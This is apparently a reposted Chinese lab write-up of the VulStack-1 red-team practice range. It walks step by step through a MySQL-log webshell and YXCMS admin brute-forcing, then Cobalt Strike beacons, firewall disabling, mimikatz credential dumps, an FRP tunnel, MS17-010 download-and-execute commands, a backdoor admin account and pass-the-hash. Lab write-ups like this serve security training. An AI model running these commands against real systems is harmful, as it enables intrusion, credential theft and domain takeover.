当前位置:网站首页 > 黑客培训 > 正文

红队实战之VulStack-1

freebuffreebuf 2022-05-24 396 0

本文来源:特mac0x01

红日靶机系列是完全模拟ATT

截屏2022-05-22 04.26.35

如果我们通过into outfile来写入木马,那么由于secure_file_priv的限制会导致这种方案并不可行

select '?php eval($_POST[cmd]);?>' into outfile 'C:/phpStudy/www/mac.php'; 

截屏2022-05-22 04.36.24

因此我们需要通过日志来写入木马,尝试开启日志记录

set global general_log = "ON"; 

截屏2022-05-22 04.38.45

查看日志记录文件

show variables like "general%"; 

截屏2022-05-22 04.39.55

修改日志记录文件为木马文件

set global general_log_file="C:/phpStudy/www/mac.php"; 

截屏2022-05-22 04.44.13

写入木马至指定日志记录文件当中

select '?php eval($_POST["mac"]);?>' 

截屏2022-05-22 04.46.17

成功通过蚁剑连接木马文件
截屏2022-05-22 04.47.54

YXCMS后台上传木马

在源码中解压后发现yxcms目录并尝试访问,访问后发现页面为 YXCMS
截屏2022-05-22 04.53.22

由于 YXCMS 的默认后台为index.php?r=admin,我们尝试访问该后台地址
截屏2022-05-22 04.55.46

使用 BurpSuite 截取数据包,复用验证码尝试爆破密码
截屏2022-05-22 04.59.29

成功爆破出 admin 密码为 123456,使用该账户密码成功登录后台

截屏2022-05-22 05.03.25

选择前台模版并在index_index.php插入木马

截屏2022-05-22 05.07.10

保存成功后使用蚁剑连接木马文件

截屏2022-05-22 05.09.03

0x03 内网信息探测

CS上线云服务器

在蚁剑中执行命令发现当前用户为域管理员,那么可以省去提权过程并直接上线CS

截屏2022-05-22 05.17.59

在CS中开启 http 监听器并生成利用程序mac1.exe
截屏2022-05-22 05.26.08

上传木马后并在命令行中直接执行
截屏2022-05-22 05.28.14

成功上线CS
截屏2022-05-22 05.29.18

本机基础环境信息收集

减少回连时间为3秒并查看网络连接情况

sleep 3 shell ipconfig 

截屏2022-05-22 05.45.37

如果有需要的话可以关闭防火墙

netsh firewall set opmode mode=disable netsh advfirewall set allprofiles state off 

成功发现目标存在两个网段,说明内网网段中可能存在其他主机

192.168.0.0/24  192.168.52.0/24 

运行 mimikatz 成功获得管理员密码为Mac123456

logonpasswords 

截屏2022-05-22 05.45.04

成功获取用户哈希值

hashdump 

截屏2022-05-22 05.47.57

Administrator:500:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0::: Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0::: liukaifeng01:1000:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0::: 

借助梼杌插件通过 ms14-058 可直接将权限提升至 SYSTEM
截屏2022-05-22 05.55.05

成功上线 SYSTEM 系统管理员
截屏2022-05-22 05.55.57

内网域环境信息收集

内网信息收集的目的是查找域控以及其他域内主机,以下为常见的内网信息收集命令

net view                 # 查看局域网内其他主机名 net config Workstation   # 查看计算机名、全名、用户名、系统版本、工作站、域、登录域 net user                 # 查看本机用户列表 net user /domain         # 查看域用户 net localgroup administrators # 查看本地管理员组(通常会有域用户) net view /domain         # 查看有几个域 net user 用户名 /domain   # 获取指定域用户的信息 net group /domain        # 查看域里面的工作组,查看把用户分了多少组(只能在域控上操作) net group 组名 /domain    # 查看域中某工作组 net group "domain admins" /domain  # 查看域管理员的名字 net group "domain computers" /domain  # 查看域中的其他主机名 net group "doamin controllers" /domain  # 查看域控制器主机名(可能有多台) 

首先我们需要判断当前域名是什么?判断的方式有许多种,以下为常用的几种方式

shell ipconfig /all 

截屏2022-05-22 06.03.54

shell net config workstation 

截屏2022-05-22 06.04.51

成功探测到当前域名为god.org,接下来需要探索目标存在多少域

shell net view /domain 

截屏2022-05-22 06.06.59

结果显示目标只存在GOD域,而WORKGROUP只是工作组而已。然后尝试寻找域控主机名

shell net group "domain controllers" /domain 

截屏2022-05-22 15.02.00

结果显示报错RPC 服务器不可用,这是什么原因造成的呢?

原来是目标无法完成域名解析,因此我们可以在外网网卡中设置 DNS 服务器为域控

截屏2022-05-22 下午3.07.10

再次寻找域控并确认域控主机名为OWA
截屏2022-05-22 15.34.04

有了域控主机名以后我们尝试寻找其他域内主机

net view 

截屏2022-05-22 15.36.44

shell net group "domain computers" /domain 

截屏2022-05-22 15.38.27

至此内网信息搜集完毕,域内主机的分布如下,我们需要进一步完成横向渗透

主机名IP地址是否为域控
OWA192.168.52.138
ROOT-TVI862UBEH192.168.52.141
STU1192.168.52.143

0x03 内网横向渗透

建立FRP代理隧道

为了更好地模拟真实环境,我们可以通过在云服务器上搭建 FRP 隧道访问目标内网。

FRP配置

frps.ini配置:

[common] bind_addr = 0.0.0.0 bind_port = 7000 token = macmacmac12345678 

frpc.ini配置:

[common] server_addr=x.x.x.x server_port = 7000 token = macmacmac12345678 [http_proxy] type = tcp remote_port = 6000 plugin = socks5 

FRP连接

在云服务器上启动 FRP

./frps -c frps.ini 

截屏2022-05-22 下午5.04.08

上传 FRP 至靶机后查看文件
截屏2022-05-22 17.12.26

在 CS 上启动连接

shell frpc.exe -c frpc.ini 

截屏2022-05-22 17.13.43

在本地设置 proxychains 连接目标的6000端口建立 FRP 隧道

vim /usr/local/etc/proxychains.conf #配置 socks5 x.x.x.x 6000 

截屏2022-05-22 17.28.19

使用 nmap 扫描内网主机进行测试,连接成功说明隧道建立成功

proxychains4 nmap 192.168.52.138 -p 135,445,80 

截屏2022-05-22 17.25.07

MSF永恒之蓝漏洞利用

FSCAN漏洞扫描

在 CS 中上传 fsacn 并设置扫描目标

## hosts.txt 192.168.52.138 192.168.52.141 192.168.52.143 

截屏2022-05-22 17.49.14

使用 fscan 扫描目标,结果显示全部目标都存在 MS17-010 漏洞

shell fscan64.exe -hf hosts.txt 

截屏2022-05-22 17.53.05

域控主机上线CS

在 CS 的会话当中设置新的监听器用于上线内网主机

截屏2022-05-22 17.59.14

需要注意的是在设置监听器时需要确认内网代理主机的IP地址,否则会导致内网主机无法连接

截屏2022-05-22 18.00.22

借用该监听器生成相应木马mac2.exe
截屏2022-05-22 18.06.45

成功将该木马上传至目标的站点目录
截屏2022-05-22 18.09.21

在本地开启 MSF 并设置代理

msfconsole msf > setg Proxies socks5:x.x.x.x:6000 msf > setg ReverseAllowProxy true 

截屏2022-05-22 18.13.35

使用 MSF 执行命令上线 CS

msf > use auxiliary/admin/smb/ms17_010_command msf > set command "powershell.exe -Command (new-object System.Net.WebClient).DownloadFile('http://192.168.52.143/mac2.exe','mac2.exe');start-process mac2.exe" msf > set rhosts 192.168.52.138 msf > show options msf > run 

截屏2022-05-22 18.21.18

域控主机成功上线CS
截屏2022-05-22 18.21.33

域内主机上线CS

在使用 MS17-010 攻击域内主机时 CS 无法上线,这是因为该主机为 Windows Server 2003,我们无法使用 powershell 执行命令,与此同时该操作系统为 X86 架构,对应需要使用32位的木马。因此我们需要使用 CS 生成32位木马mac3.exe
截屏2022-05-22 19.41.01

同样地我们将其上传至目标的站点目录
截屏2022-05-22 19.42.36

重新设置命令使用 certutil 下载木马,但是目标返回报错信息

msf > set command "certutil.exe -urlcache -split -f http://192.168.52.143/mac3.exe mac3.exe" msf > set rhosts 192.168.52.141 msf > show options msf > run 

截屏2022-05-22 20.19.41

那么我们换一种思路,尝试通过永恒之蓝创建管理员账户

net user mac QWEasd123 /add net localgroup "administrators" mac /add net user mac 

截屏2022-05-22 20.29.43

尝试使用新建管理员通过IPC$进行连接,但目标无法连接

shell net use \\192.168.52.141\ipc$ "QWEasd123" /user:mac 

截屏2022-05-22 20.35.42

尝试使用域管理员进行登录,目标连接成功

shell net use \\192.168.52.141\ipc$ "Mac123456" /user:Administrator shell net use 

截屏2022-05-22 21.14.02

将木马复制到域内主机的C盘目录当中

shell cd .. && copy mac3.exe \\192.168.52.141\c$ 

截屏2022-05-22 21.18.54

在 MSF 中通过 MS17-010 执行木马

msf > set command "C:\\mac3.exe" msf > show options msf > run 

截屏2022-05-22 21.22.49

域内主机成功上线CS
截屏2022-05-22 21.23.49

截屏2022-05-22 21.32.17

域管理员凭证传递利用

凭证传递利用原理

通过域管理员的凭证可以快速拿下目标域环境,在 CS 中还给我们提供了 SMB Beacon,它主要通过 SMB 协议建立连接,使用命名管道通过父级 Beacon 进行通讯,当两个 Beacons 链接后,子 Beacon 会从父 Beacon 获取到任务并发送。因为链接的 Beacon 使用 Windows 命名管道进行通信,因此流量封装在 SMB 协议中,所以 SMB Beacon 相对隐蔽,绕防火墙时可能发挥奇效。

凭证传递上线CS

在 CS 的会话中建立 SMB 监听器用于快速传递凭证
截屏2022-05-22 21.51.39

Targets中选择 psexec_psh 传递哈希值
截屏2022-05-22 21.58.18

选择会话并设置 SMB 监听器
截屏2022-05-22 21.56.37

域控主机成功上线CS
截屏2022-05-22 22.00.10

同样利用该方法无法上线域内主机,这主要是因为目标没有 powershell 环境,我们可以通过 psexec 方式来传递哈希
截屏2022-05-22 22.08.04

域内主机成功上线CS
截屏2022-05-22 22.05.52

截屏2022-05-22 22.09.14

0x04 靶场学习总结

这是我第二次做该靶场,第一次做的时候只采用了凭证传递的利用方式,并没有考虑 MS17-010 漏洞利用,也没有采用隧道的方式来访问内网,经过这些天的考虑后我决定重做温习一遍,一是重新整理一下思路;二是锻炼一下内网渗透思路。当然在练习过程中我也遇到了许多问题,比如 certutil.exe 怎么无法在 Windows Server 2003 中传递保存木马文件、FTP 匿名登录漏洞如何通过代理登录利用等,显然这些问题在打靶记录中未直接体现。但它们对渗透思路的打磨有很大帮助。同时非常感谢红日团队以及前辈的实践,我将继续对后续靶场进行研究学习。

转载请注明来自网盾网络安全培训,本文标题:《红队实战之VulStack-1》

标签:

关于我

欢迎关注微信公众号

关于我们

网络安全培训,黑客培训,渗透培训,ctf,攻防

标签列表